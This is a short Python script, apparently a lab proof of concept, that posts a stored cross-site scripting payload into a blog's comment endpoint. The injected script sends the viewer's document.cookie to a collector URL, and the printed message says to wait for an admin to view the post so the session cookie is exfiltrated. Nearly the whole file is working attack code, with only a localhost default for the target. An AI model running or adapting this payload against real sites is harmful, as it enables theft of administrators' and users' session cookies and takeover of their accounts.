#!/usr/bin/env python3
import requests, argparse

ap = argparse.ArgumentParser()
ap.add_argument('--target', default='http://127.0.0.1:8080', help='Base URL of vulnerable blog')
ap.add_argument('--collector', default='http://127.0.0.1:9000', help='Collector URL to receive exfiltrated cookie')
args = ap.parse_args()

payload = f"<script>new Image().src='{args.collector}/?d='+encodeURIComponent(document.cookie);</script>"

r = requests.post(args.target + '/comment', data={'name':'attacker','comment':payload})
print('Posted comment, got', r.status_code)
print('Visit the post page as admin (or wait for admin) to trigger the payload and see exfiltration on the collector.')